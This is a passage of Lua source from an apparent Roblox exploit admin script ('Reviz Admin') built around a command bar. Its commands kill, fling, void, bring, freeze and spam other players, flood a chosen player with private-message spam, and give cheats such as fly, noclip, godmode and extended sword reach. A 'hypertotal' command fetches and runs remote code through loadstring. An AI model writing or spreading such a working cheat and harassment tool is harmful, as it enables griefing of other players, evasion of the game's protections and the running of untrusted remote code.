lplayer.Character.HumanoidRootPart.CFrame.lookVector * 2
end
end
end
end
local function tpall()
for i, player in
ipairs(game:GetService("Players"):GetPlayers()) do
if player.Character and
player.Character:FindFirstChild("HumanoidRootPart") then
player.Character.HumanoidRootPart.CFrame =
lplayer.Character.HumanoidRootPart.CFrame +
lplayer.Character.HumanoidRootPart.CFrame.lookVector * 3
end
end
end
spawn(function()
while wait(spamdelay) do
if spamming == true then

game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:
FireServer(spamtext, "All")
end
end
end)
spawn(function()
while wait(spamdelay) do
if spammingpm == true then

game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:
FireServer("/w "..pmspammed.."
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@", "All")
end
end
end)
spawn(function()
while wait() do
if cbring == true then
tp()
end
end
end)
spawn(function()
while wait() do
if cbringall == true then
tpall()
end
end
end)

Mouse.KeyDown:connect(function(Key)
if Key == prefix then
CMDBAR:CaptureFocus()
end
end)

CMDBAR.FocusLost:connect(function(enterPressed)
if enterPressed then
if string.sub(CMDBAR.Text, 1, 5) == ("kill ") then
if string.sub(CMDBAR.Text, 6) == "me" then
lplayer.Character.HumanoidRootPart.CFrame
= CFrame.new(100000,0,100000)
else
for i,v in
pairs(GetPlayer(string.sub(CMDBAR.Text, 6)))do
local NOW =
lplayer.Character.HumanoidRootPart.CFrame
lplayer.Character.Humanoid.Name = 1
local l =
lplayer.Character["1"]:Clone()
l.Parent = lplayer.Character
l.Name = "Humanoid"
wait(0.1)
lplayer.Character["1"]:Destroy()

game:GetService("Workspace").CurrentCamera.CameraSubject = lplayer.Character
lplayer.Character.Animate.Disabled
= true
wait(0.1)
lplayer.Character.Animate.Disabled
= false

lplayer.Character.Humanoid.DisplayDistanceType = "None"
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Backpack:GetChildren())do

lplayer.Character.Humanoid:EquipTool(v)
end
local function tp(player,player2)
local
char1,char2=player.Character,player2.Character
if char1 and char2 then

char1:MoveTo(char2.Head.Position)
end
end
wait(0.1)

lplayer.Character.HumanoidRootPart.CFrame = game:GetService("Players")
[v.Name].Character.HumanoidRootPart.CFrame
wait(0.2)

lplayer.Character.HumanoidRootPart.CFrame = game:GetService("Players")
[v.Name].Character.HumanoidRootPart.CFrame
wait(0.5)

lplayer.Character.HumanoidRootPart.CFrame = CFrame.new(Vector3.new(-
100000,10,-100000))
wait(0.7)

tp(lplayer,game:GetService("Players")[v.Name])
wait(0.7)

lplayer.Character.HumanoidRootPart.CFrame = NOW

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in
your backpack for this command!";
})
end
end
end
if string.sub(CMDBAR.Text, 1, 6) == ("bring ") then
for i,v in
pairs(GetPlayer(string.sub(CMDBAR.Text, 7)))do
local NOW =
lplayer.Character.HumanoidRootPart.CFrame
lplayer.Character.Humanoid.Name = 1
local l = lplayer.Character["1"]:Clone()
l.Parent = lplayer.Character
l.Name = "Humanoid"
wait(0.1)
lplayer.Character["1"]:Destroy()

game:GetService("Workspace").CurrentCamera.CameraSubject = lplayer.Character
lplayer.Character.Animate.Disabled = true
wait(0.1)
lplayer.Character.Animate.Disabled =
false

lplayer.Character.Humanoid.DisplayDistanceType = "None"
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Backpack:GetChildren())do

lplayer.Character.Humanoid:EquipTool(v)
end
local function tp(player,player2)
local
char1,char2=player.Character,player2.Character
if char1 and char2 then
char1.HumanoidRootPart.CFrame
= char2.HumanoidRootPart.CFrame
end
end
local function getout(player,player2)
local
char1,char2=player.Character,player2.Character
if char1 and char2 then

char1:MoveTo(char2.Head.Position)
end
end
tp(game:GetService("Players")[v.Name],
lplayer)
wait(0.2)
tp(game:GetService("Players")[v.Name],
lplayer)
wait(0.5)
lplayer.Character.HumanoidRootPart.CFrame
= NOW
wait(0.5)
getout(lplayer,
game:GetService("Players")[v.Name])
wait(0.3)
lplayer.Character.HumanoidRootPart.CFrame
= NOW

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your
backpack for this command!";
})
end
end
if string.sub(CMDBAR.Text, 1, 5) == ("spin ") then
for i,v in
pairs(GetPlayer(string.sub(CMDBAR.Text, 6))) do
lplayer.Character.Humanoid.Name = 1
local l = lplayer.Character["1"]:Clone()
l.Parent = lplayer.Character
l.Name = "Humanoid"
wait(0.1)
lplayer.Character["1"]:Destroy()

game:GetService("Workspace").CurrentCamera.CameraSubject = lplayer.Character
lplayer.Character.Animate.Disabled = true
wait(0.1)
lplayer.Character.Animate.Disabled =
false

lplayer.Character.Humanoid.DisplayDistanceType = "None"
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Backpack:GetChildren())do

lplayer.Character.Humanoid:EquipTool(v)
end
lplayer.Character.HumanoidRootPart.CFrame
= game:GetService("Players")[v.Name].Character["Left Arm"].CFrame
spinplr = v
wait(0.5)
spin = true

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your
backpack for this command!";
})
end
end
if string.sub(CMDBAR.Text, 1, 6) == ("unspin") then
spin = false
end
if string.sub(CMDBAR.Text, 1, 7) == ("attach ") then
for i,v in
pairs(GetPlayer(string.sub(CMDBAR.Text, 8))) do
lplayer.Character.Humanoid.Name = 1
local l = lplayer.Character["1"]:Clone()
l.Parent = lplayer.Character
l.Name = "Humanoid"
wait(0.1)
lplayer.Character["1"]:Destroy()

game:GetService("Workspace").CurrentCamera.CameraSubject = lplayer.Character
lplayer.Character.Animate.Disabled = true
wait(0.1)
lplayer.Character.Animate.Disabled =
false

lplayer.Character.Humanoid.DisplayDistanceType = "None"
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Backpack:GetChildren())do
lplayer.Character.Humanoid:EquipTool(v)
end
lplayer.Character.HumanoidRootPart.CFrame
= game:GetService("Players")[v.Name].Character["Left Arm"].CFrame
wait(0.3)
lplayer.Character.HumanoidRootPart.CFrame
= game:GetService("Players")[v.Name].Character["Left Arm"].CFrame
attplr = v

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your
backpack for this command!";
})
end
end
if string.sub(CMDBAR.Text, 1, 9) == ("unattach ")
then
for i,v in
pairs(GetPlayer(string.sub(CMDBAR.Text, 10))) do
local function getout(player,player2)
local
char1,char2=player.Character,player2.Character
if char1 and char2 then

char1:MoveTo(char2.Head.Position)
end
end
getout(lplayer,
game:GetService("Players")[v.Name])
end
end
if string.sub(CMDBAR.Text, 1, 7) == ("follow ") then
for i,v in
pairs(GetPlayer(string.sub(CMDBAR.Text, 8))) do
followed = true
flwplr = v
end
end
if string.sub(CMDBAR.Text, 1, 8) == ("unfollow") then
followed = false
end
if string.sub(CMDBAR.Text, 1, 9) == ("freefall ")
then
for i,v in
pairs(GetPlayer(string.sub(CMDBAR.Text, 10))) do
local NOW =
lplayer.Character.HumanoidRootPart.CFrame
lplayer.Character.Humanoid.Name = 1
local l = lplayer.Character["1"]:Clone()
l.Parent = lplayer.Character
l.Name = "Humanoid"
wait(0.1)
lplayer.Character["1"]:Destroy()

game:GetService("Workspace").CurrentCamera.CameraSubject = lplayer.Character
lplayer.Character.Animate.Disabled = true
wait(0.1)
lplayer.Character.Animate.Disabled =
false

lplayer.Character.Humanoid.DisplayDistanceType = "None"
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Backpack:GetChildren())do

lplayer.Character.Humanoid:EquipTool(v)
end
lplayer.Character.HumanoidRootPart.CFrame
= game:GetService("Players")[v.Name].Character.HumanoidRootPart.CFrame
wait(0.2)
lplayer.Character.HumanoidRootPart.CFrame
= game:GetService("Players")[v.Name].Character.HumanoidRootPart.CFrame
wait(0.6)
lplayer.Character.HumanoidRootPart.CFrame
= NOW
wait(0.6)
lplayer.Character.HumanoidRootPart.CFrame
= CFrame.new(0,50000,0)

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your
backpack for this command!";
})
end
end
if string.sub(CMDBAR.Text, 1, 6) == ("trail ") then
for i,v in
pairs(GetPlayer(string.sub(CMDBAR.Text, 7))) do
traill = true
trlplr = v
end
end
if string.sub(CMDBAR.Text, 1, 7) == ("untrail") then
traill = false
end
if string.sub(CMDBAR.Text, 1, 6) == ("orbit ") then
if string.sub(CMDBAR.Text, 7) == "all" or
string.sub(CMDBAR.Text, 7) == "others" or string.sub(CMDBAR.Text, 7) == "me" then
lplayer.Character.HumanoidRootPart.CFrame
= lplayer.Character.HumanoidRootPart.CFrame
else
for i,v in
pairs(GetPlayer(string.sub(CMDBAR.Text, 7))) do
local o =
Instance.new("RocketPropulsion")
o.Parent =
lplayer.Character.HumanoidRootPart
o.Name = "Orbit"
o.Target =
game:GetService("Players")[v.Name].Character.HumanoidRootPart
o:Fire()
noclip = true
end
end
end
if string.sub(CMDBAR.Text, 1, 7) == ("unorbit") then
lplayer.Character.HumanoidRootPart.Orbit:Destroy()
noclip = false
end
if string.sub(CMDBAR.Text, 1, 6) == ("fling ") then
if string.sub(CMDBAR.Text, 7) == "all" or
string.sub(CMDBAR.Text, 7) == "others" or string.sub(CMDBAR.Text, 7) == "me" then
lplayer.Character.HumanoidRootPart.CFrame
= lplayer.Character.HumanoidRootPart.CFrame
else
for i,v in
pairs(GetPlayer(string.sub(CMDBAR.Text, 7))) do
local y =
Instance.new("RocketPropulsion")
y.Parent =
lplayer.Character.HumanoidRootPart
y.CartoonFactor = 1
y.MaxThrust = 800000
y.MaxSpeed = 1000
y.ThrustP = 200000
y.Name = "Fling"

game:GetService("Workspace").CurrentCamera.CameraSubject =
game:GetService("Players")[v.Name].Character.Head
y.Target =
game:GetService("Players")[v.Name].Character.HumanoidRootPart
y:Fire()
noclip = true
end
end
end
if string.sub(CMDBAR.Text, 1, 7) == ("unfling") then
noclip = false

lplayer.Character.HumanoidRootPart.Fling:Destroy()

game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character.Head
wait(0.4)

lplayer.Character.HumanoidRootPart.Fling:Destroy()
end
if string.sub(CMDBAR.Text, 1, 7) == ("fecheck") then
if
game:GetService("Workspace").FilteringEnabled == true then
warn("FE is Enabled (Filtering Enabled)")

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "FE is Enabled";
Text = "Filtering Enabled. Enjoy
using Reviz Admin!";
})
else
warn("FE is Disabled (Filtering Disabled)
Consider using a different admin script.")

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "FE is Disabled";
Text = "Filtering Disabled.
Consider using a different admin script.";
})
end
end
if string.sub(CMDBAR.Text, 1, 5) == ("void ") then
for i,v in
pairs(GetPlayer(string.sub(CMDBAR.Text, 6))) do
lplayer.Character.Humanoid.Name = 1
local l = lplayer.Character["1"]:Clone()
l.Parent = lplayer.Character
l.Name = "Humanoid"
wait(0.1)
lplayer.Character["1"]:Destroy()

game:GetService("Workspace").CurrentCamera.CameraSubject = lplayer.Character
lplayer.Character.Animate.Disabled = true
wait(0.1)
lplayer.Character.Animate.Disabled =
false

lplayer.Character.Humanoid.DisplayDistanceType = "None"
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Backpack:GetChildren())do

lplayer.Character.Humanoid:EquipTool(v)
end
lplayer.Character.HumanoidRootPart.CFrame
= game:GetService("Players")[v.Name].Character.HumanoidRootPart.CFrame
wait(0.2)
lplayer.Character.HumanoidRootPart.CFrame
= game:GetService("Players")[v.Name].Character.HumanoidRootPart.CFrame
wait(0.6)
lplayer.Character.HumanoidRootPart.CFrame
= CFrame.new(999999999999999,0,999999999999999)

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your
backpack for this command!";
})
end
end
if string.sub(CMDBAR.Text, 1, 6) == ("noclip") then
noclip = true

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Noclip enabled";
Text = "Type ;clip to disable";
})
end
if string.sub(CMDBAR.Text, 1, 4) == ("clip") then
noclip = false

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Noclip disabled";
Text = "Type ;noclip to enable";
})
end
if string.sub(CMDBAR.Text, 1, 6) == ("speed ") then
lplayer.Character.Humanoid.WalkSpeed =
(string.sub(CMDBAR.Text, 7))
end
if string.sub(CMDBAR.Text, 1, 3) == ("ws ") then
lplayer.Character.Humanoid.WalkSpeed =
(string.sub(CMDBAR.Text, 4))
end
if string.sub(CMDBAR.Text, 1, 10) == ("hipheight ")
then
lplayer.Character.Humanoid.HipHeight =
(string.sub(CMDBAR.Text, 11))
end
if string.sub(CMDBAR.Text, 1, 3) == ("hh ") then
lplayer.Character.Humanoid.HipHeight =
(string.sub(CMDBAR.Text, 4))
end
if string.sub(CMDBAR.Text, 1, 10) == ("jumppower ")
then
lplayer.Character.Humanoid.JumpPower =
(string.sub(CMDBAR.Text, 11))
end
if string.sub(CMDBAR.Text, 1, 3) == ("jp ") then
lplayer.Character.Humanoid.JumpPower =
(string.sub(CMDBAR.Text, 4))
end
if string.sub(CMDBAR.Text, 1, 7) == ("default") then
lplayer.Character.Humanoid.JumpPower = 50
lplayer.Character.Humanoid.WalkSpeed = 16
lplayer.Character.Humanoid.HipHeight = 0
end
if string.sub(CMDBAR.Text, 1, 6) == ("annoy ") then
for i,v in
pairs(GetPlayer(string.sub(CMDBAR.Text, 7))) do
annoying = true
annplr = v
end
end
if string.sub(CMDBAR.Text, 1, 7) == ("unannoy") then
annoying = false
end
if string.sub(CMDBAR.Text, 1, 9) == ("headwalk ")
then
for i,v in
pairs(GetPlayer(string.sub(CMDBAR.Text, 10))) do
hwalk = true
hdwplr = v
end
end
if string.sub(CMDBAR.Text, 1, 10) == ("unheadwalk")
then
hwalk = false
end
if string.sub(CMDBAR.Text, 1, 7) == ("nolimbs") then
lplayer.Character["Left Leg"]:Destroy()
lplayer.Character["Left Arm"]:Destroy()
lplayer.Character["Right Leg"]:Destroy()
lplayer.Character["Right Arm"]:Destroy()
end
if string.sub(CMDBAR.Text, 1, 3) == ("god") then
lplayer.Character.Humanoid.Name = 1
local l = lplayer.Character["1"]:Clone()
l.Parent = lplayer.Character
l.Name = "Humanoid"
wait(0.1)
lplayer.Character["1"]:Destroy()

game:GetService("Workspace").CurrentCamera.CameraSubject = lplayer.Character
lplayer.Character.Animate.Disabled = true
wait(0.1)
lplayer.Character.Animate.Disabled = false
lplayer.Character.Humanoid.DisplayDistanceType
= "None"

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "FE Godmode enabled";
Text = "Use ;grespawn or ;respawn to
remove.";
})
end
if string.sub(CMDBAR.Text, 1, 8) == ("drophats") then
for i,v in
pairs(lplayer.Character:GetChildren()) do
if (v:IsA("Accessory")) or (v:IsA("Hat"))
then
v.Parent = workspace
end
end
end
if string.sub(CMDBAR.Text, 1, 8) == ("droptool") then
for i,v in
pairs(lplayer.Character:GetChildren()) do
if (v:IsA("Tool")) then
v.Parent = workspace
end
end
end
if string.sub(CMDBAR.Text, 1, 9) == ("loopdhats")
then
droppinghats = true

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Loop Drop Enabled";
Text = "Type ;unloopdhats to disable";
})
end
if string.sub(CMDBAR.Text, 1, 11) == ("unloopdhats")
then
droppinghats = false

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Loop Drop Disabled";
Text = "Type ;loopdhats to enable.";
})
end
if string.sub(CMDBAR.Text, 1, 9) == ("loopdtool")
then
droppingtools = true

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Loop Drop Enabled";
Text = "Type ;unloopdtool to disable";
})
end
if string.sub(CMDBAR.Text, 1, 11) == ("unloopdtool")
then
droppingtools = false

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Loop Drop Disabled";
Text = "Type ;loopdtool to enable.";
})
end
if string.sub(CMDBAR.Text, 1, 9) == ("invisible")
then -- Credit to Timeless
Local = game:GetService('Players').LocalPlayer
Char = Local.Character
touched,tpdback = false, false
box = Instance.new('Part',workspace)
box.Anchored = true
box.CanCollide = true
box.Size = Vector3.new(10,1,10)
box.Position = Vector3.new(0,10000,0)
box.Touched:connect(function(part)
if (part.Parent.Name == Local.Name) then
if touched == false then
touched = true
function apply()
if script.Disabled ~=
true then
no =
Char.HumanoidRootPart:Clone()
wait(.25)

Char.HumanoidRootPart:Destroy()
no.Parent = Char
Char:MoveTo(loc)
touched = false
end end
if Char then
apply()
end
end
end
end)
repeat wait() until Char
loc = Char.HumanoidRootPart.Position
Char:MoveTo(box.Position + Vector3.new(0,.5,0))

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Invisibility enabled!";
Text = "Reset or use ;respawn to
remove.";
})
end
if string.sub(CMDBAR.Text, 1, 5) == ("view ") then
for i,v in
pairs(GetPlayer(string.sub(CMDBAR.Text, 6))) do
if game:GetService("Players")
[v.Name].Character.Humanoid then

game:GetService("Workspace").CurrentCamera.CameraSubject =
game:GetService("Players")[v.Name].Character.Humanoid
else

game:GetService("Workspace").CurrentCamera.CameraSubject =
game:GetService("Players")[v.Name].Character.Head
end
end
end
if string.sub(CMDBAR.Text, 1, 6) == ("unview") then
if lplayer.Character.Humanoid then

game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character.Humanoid
else

game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character.Head
end
end
if string.sub(CMDBAR.Text, 1, 5) == ("goto ") then
for i,v in
pairs(GetPlayer(string.sub(CMDBAR.Text, 6))) do
lplayer.Character.HumanoidRootPart.CFrame
= game:GetService("Players")[v.Name].Character.HumanoidRootPart.CFrame
end
end
if string.sub(CMDBAR.Text, 1, 3) == ("fly") then
repeat wait() until lplayer and
lplayer.Character and lplayer.Character:FindFirstChild('HumanoidRootPart') and
lplayer.Character:FindFirstChild('Humanoid')
repeat wait() until Mouse

local T = lplayer.Character.HumanoidRootPart
local CONTROL = {F = 0, B = 0, L = 0, R = 0}
local lCONTROL = {F = 0, B = 0, L = 0, R = 0}
local SPEED = speedget

local function fly()


flying = true
local BG = Instance.new('BodyGyro', T)
local BV = Instance.new('BodyVelocity',
T)
BG.P = 9e4
BG.maxTorque = Vector3.new(9e9, 9e9, 9e9)
BG.cframe = T.CFrame
BV.velocity = Vector3.new(0, 0.1, 0)
BV.maxForce = Vector3.new(9e9, 9e9, 9e9)
spawn(function()
repeat wait()

lplayer.Character.Humanoid.PlatformStand = true
if CONTROL.L + CONTROL.R ~= 0
or CONTROL.F + CONTROL.B ~= 0 then
SPEED = 50
elseif not (CONTROL.L +
CONTROL.R ~= 0 or CONTROL.F + CONTROL.B ~= 0) and SPEED ~= 0 then
SPEED = 0
end
if (CONTROL.L + CONTROL.R) ~=
0 or (CONTROL.F + CONTROL.B) ~= 0 then
BV.velocity =
((workspace.CurrentCamera.CoordinateFrame.lookVector * (CONTROL.F + CONTROL.B)) +
((workspace.CurrentCamera.CoordinateFrame * CFrame.new(CONTROL.L + CONTROL.R,
(CONTROL.F + CONTROL.B) * 0.2, 0).p) - workspace.CurrentCamera.CoordinateFrame.p))
* SPEED
lCONTROL = {F =
CONTROL.F, B = CONTROL.B, L = CONTROL.L, R = CONTROL.R}
elseif (CONTROL.L +
CONTROL.R) == 0 and (CONTROL.F + CONTROL.B) == 0 and SPEED ~= 0 then
BV.velocity =
((workspace.CurrentCamera.CoordinateFrame.lookVector * (lCONTROL.F + lCONTROL.B)) +
((workspace.CurrentCamera.CoordinateFrame * CFrame.new(lCONTROL.L + lCONTROL.R,
(lCONTROL.F + lCONTROL.B) * 0.2, 0).p) -
workspace.CurrentCamera.CoordinateFrame.p)) * SPEED
else
BV.velocity =
Vector3.new(0, 0.1, 0)
end
BG.cframe =
workspace.CurrentCamera.CoordinateFrame
until not flying
CONTROL = {F = 0, B = 0, L = 0, R =
0}
lCONTROL = {F = 0, B = 0, L = 0, R
= 0}
SPEED = 0
BG:destroy()
BV:destroy()

lplayer.Character.Humanoid.PlatformStand = false
end)
end
Mouse.KeyDown:connect(function(KEY)
if KEY:lower() == 'w' then
CONTROL.F = speedfly
elseif KEY:lower() == 's' then
CONTROL.B = -speedfly
elseif KEY:lower() == 'a' then
CONTROL.L = -speedfly
elseif KEY:lower() == 'd' then
CONTROL.R = speedfly
end
end)
Mouse.KeyUp:connect(function(KEY)
if KEY:lower() == 'w' then
CONTROL.F = 0
elseif KEY:lower() == 's' then
CONTROL.B = 0
elseif KEY:lower() == 'a' then
CONTROL.L = 0
elseif KEY:lower() == 'd' then
CONTROL.R = 0
end
end)
fly()
end
if string.sub(CMDBAR.Text, 1, 5) == ("unfly") then
flying = false
lplayer.Character.Humanoid.PlatformStand =
false
end
if string.sub(CMDBAR.Text, 1, 5) == ("chat ") then

game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:
FireServer((string.sub(CMDBAR.Text, 6)), "All")
end
if string.sub(CMDBAR.Text, 1, 5) == ("spam ") then
spamtext = (string.sub(CMDBAR.Text, 6))
spamming = true
end
if string.sub(CMDBAR.Text, 1, 6) == ("unspam") then
spamming = false
end
if string.sub(CMDBAR.Text, 1, 9) == ("spamwait ")
then
spamdelay = (string.sub(CMDBAR.Text, 10))
end
if string.sub(CMDBAR.Text, 1, 7) == ("pmspam ") then
for i,v in
pairs(GetPlayer(string.sub(CMDBAR.Text, 8))) do
pmspammed = v.Name
spammingpm = true
end
end
if string.sub(CMDBAR.Text, 1, 8) == ("unpmspam") then
spammingpm = false
end
if string.sub(CMDBAR.Text, 1, 8) == ("cfreeze ") then
for i,v in
pairs(GetPlayer(string.sub(CMDBAR.Text, 9))) do
v.Character["Left Leg"].Anchored = true
v.Character["Left Arm"].Anchored = true
v.Character["Right Leg"].Anchored = true
v.Character["Right Arm"].Anchored = true
v.Character.Torso.Anchored = true
v.Character.Head.Anchored = true
end
end
if string.sub(CMDBAR.Text, 1, 10) == ("uncfreeze ")
then
for i,v in
pairs(GetPlayer(string.sub(CMDBAR.Text, 11))) do
v.Character["Left Leg"].Anchored = false
v.Character["Left Arm"].Anchored = false
v.Character["Right Leg"].Anchored = false
v.Character["Right Arm"].Anchored = false
v.Character.Torso.Anchored = false
v.Character.Head.Anchored = false
end
end
if string.sub(CMDBAR.Text, 1, 8) == ("unlockws") then
local a =
game:GetService("Workspace"):getChildren()
for i = 1, #a do
if a[i].className == "Part" then
a[i].Locked = false
elseif a[i].className == "Model" then
local r = a[i]:getChildren()
for i = 1, #r do
if r[i].className == "Part"
then
r[i].Locked = false
end
end
end
end

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Success!";
Text = "Workspace unlocked. Use ;lockws
to lock.";
})
end
if string.sub(CMDBAR.Text, 1, 6) == ("lockws") then
local a =
game:GetService("Workspace"):getChildren()
for i = 1, #a do
if a[i].className == "Part" then
a[i].Locked = true
elseif a[i].className == "Model" then
local r = a[i]:getChildren()
for i = 1, #r do
if r[i].className == "Part"
then
r[i].Locked = true
end
end
end
end
end
if string.sub(CMDBAR.Text, 1, 6) == ("btools") then
local Clone_T =
Instance.new("HopperBin",lplayer.Backpack)
Clone_T.BinType = "Clone"
local Destruct =
Instance.new("HopperBin",lplayer.Backpack)
Destruct.BinType = "Hammer"
local Hold_T =
Instance.new("HopperBin",lplayer.Backpack)
Hold_T.BinType = "Grab"
end
if string.sub(CMDBAR.Text, 1, 6) == ("pstand") then
lplayer.Character.Humanoid.PlatformStand = true
end
if string.sub(CMDBAR.Text, 1, 8) == ("unpstand") then
lplayer.Character.Humanoid.PlatformStand =
false
end
if string.sub(CMDBAR.Text, 1, 9) == ("blockhead")
then
lplayer.Character.Head.Mesh:Destroy()
end
if string.sub(CMDBAR.Text, 1, 3) == ("sit") then
lplayer.Character.Humanoid.Sit = true
end
if string.sub(CMDBAR.Text, 1, 9) == ("bringobj ")
then
local function bringobjw()
for i,obj in
ipairs(game:GetService("Workspace"):GetDescendants()) do
if obj.Name ==
(string.sub(CMDBAR.Text, 10)) then
obj.CFrame =
lplayer.Character.HumanoidRootPart.CFrame
obj.CanCollide = false
obj.Transparency = 0.7
wait()
obj.CFrame =
lplayer.Character["Left Leg"].CFrame
wait()
obj.CFrame =
lplayer.Character["Right Leg"].CFrame
wait()
obj.CFrame =
lplayer.Character["Head"].CFrame
end
end
end
while wait() do
bringobjw()
end

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "BringObj";
Text = "BringObj enabled.";
})
end
if string.sub(CMDBAR.Text, 1, 6) == ("wsvis ") then
vis = (string.sub(CMDBAR.Text, 7))
local a =
game:GetService("Workspace"):GetDescendants()
for i = 1, #a do
if a[i].className == "Part" then
a[i].Transparency = vis
elseif a[i].className == "Model" then
local r = a[i]:getChildren()
for i = 1, #r do
if r[i].className == "Part"
then
r[i].Transparency = vis
end
end
end
end
end
if string.sub(CMDBAR.Text, 1, 10) == ("hypertotal")
then

loadstring(game:GetObjects("rbxassetid://1255063809")[1].Source)()

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Success!";
Text = "HyperTotal GUI Loaded!";
})
end
if string.sub(CMDBAR.Text, 1, 4) == ("cmds") then
CMDSFRAME.Visible = true
end
if string.sub(CMDBAR.Text, 1, 9) == ("rmeshhats")
then
for i,v in
pairs(lplayer.Character:GetChildren()) do
if (v:IsA("Accessory")) or (v:IsA("Hat"))
then
v.Handle.Mesh:Destroy()
end
end
end
if string.sub(CMDBAR.Text, 1, 9) == ("blockhats")
then
for i,v in
pairs(lplayer.Character:GetChildren()) do
if (v:IsA("Accessory")) or (v:IsA("Hat"))
then
v.Handle.Mesh:Destroy()
end
end
end
if string.sub(CMDBAR.Text, 1, 9) == ("rmeshtool")
then
for i,v in
pairs(lplayer.Character:GetChildren()) do
if (v:IsA("Tool")) then
v.Handle.Mesh:Destroy()
end
end
end
if string.sub(CMDBAR.Text, 1, 9) == ("blocktool")
then
for i,v in
pairs(lplayer.Character:GetChildren()) do
if (v:IsA("Tool")) then
v.Handle.Mesh:Destroy()
end
end
end
if string.sub(CMDBAR.Text, 1, 7) == ("spinner") then
local p = Instance.new("RocketPropulsion")
p.Parent = lplayer.Character.HumanoidRootPart
p.Name = "Spinner"
p.Target = lplayer.Character["Left Arm"]
p:Fire()

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Spinner enabled";
Text = "Type ;nospinner to disable.";
})
end
if string.sub(CMDBAR.Text, 1, 9) == ("nospinner")
then
lplayer.Character.HumanoidRootPart.Spinner:Destroy()
end
if string.sub(CMDBAR.Text, 1, 6) == ("reachd") then
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Character:GetChildren())do
if v:isA("Tool") then
local a =
Instance.new("SelectionBox",v.Handle)
a.Adornee = v.Handle
v.Handle.Size =
Vector3.new(0.5,0.5,60)
v.GripPos = Vector3.new(0,0,0)

lplayer.Character.Humanoid:UnequipTools()
end
end

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Reach applied!";
Text = "Applied to equipped sword. Use
;noreach to disable.";
})
end
if string.sub(CMDBAR.Text, 1, 6) == ("reach ") then
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Character:GetChildren())do
if v:isA("Tool") then
local a =
Instance.new("SelectionBox",v.Handle)
a.Name = "Reach"
a.Adornee = v.Handle
v.Handle.Size =
Vector3.new(0.5,0.5,(string.sub(CMDBAR.Text, 7)))
v.GripPos = Vector3.new(0,0,0)

lplayer.Character.Humanoid:UnequipTools()
end
end

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Reach applied!";
Text = "Applied to equipped sword. Use
;noreach to disable.";
})
end
if string.sub(CMDBAR.Text, 1, 7) == ("noreach") then
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Character:GetChildren())do
if v:isA("Tool") then
v.Handle.Reach:Destroy()
end
end

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Reach removed!";
Text = "Removed reach from equipped
sword.";
})
end
if string.sub(CMDBAR.Text, 1, 6) == ("rkill ") then
for i,v in
pairs(GetPlayer(string.sub(CMDBAR.Text, 7)))do
lplayer.Character.Humanoid.Name = 1
local l = lplayer.Character["1"]:Clone()
l.Parent = lplayer.Character
l.Name = "Humanoid"
wait(0.1)
lplayer.Character["1"]:Destroy()

game:GetService("Workspace").CurrentCamera.CameraSubject = lplayer.Character
lplayer.Character.Animate.Disabled = true
wait(0.1)
lplayer.Character.Animate.Disabled =
false

lplayer.Character.Humanoid.DisplayDistanceType = "None"
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Backpack:GetChildren())do

lplayer.Character.Humanoid:EquipTool(v)
end
wait(0.1)
lplayer.Character.HumanoidRootPart.CFrame
= game:GetService("Players")[v.Name].Character.HumanoidRootPart.CFrame
wait(0.2)
lplayer.Character.HumanoidRootPart.CFrame
= game:GetService("Players")[v.Name].Character.HumanoidRootPart.CFrame
wait(0.5)
lplayer.Character.HumanoidRootPart.CFrame
= CFrame.new(Vector3.new(-100000,10,-100000))

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your
backpack for this command!";
})
end
end
if string.sub(CMDBAR.Text, 1, 6) == ("tp me ") then
for i,v in
pairs(GetPlayer(string.sub(CMDBAR.Text, 7))) do
lplayer.Character.HumanoidRootPart.CFrame
= game:GetService("Players")[v.Name].Character.HumanoidRootPart.CFrame
end
end
if string.sub(CMDBAR.Text, 1, 7) == ("cbring ") then
if (string.sub(CMDBAR.Text, 8)) == "all" or
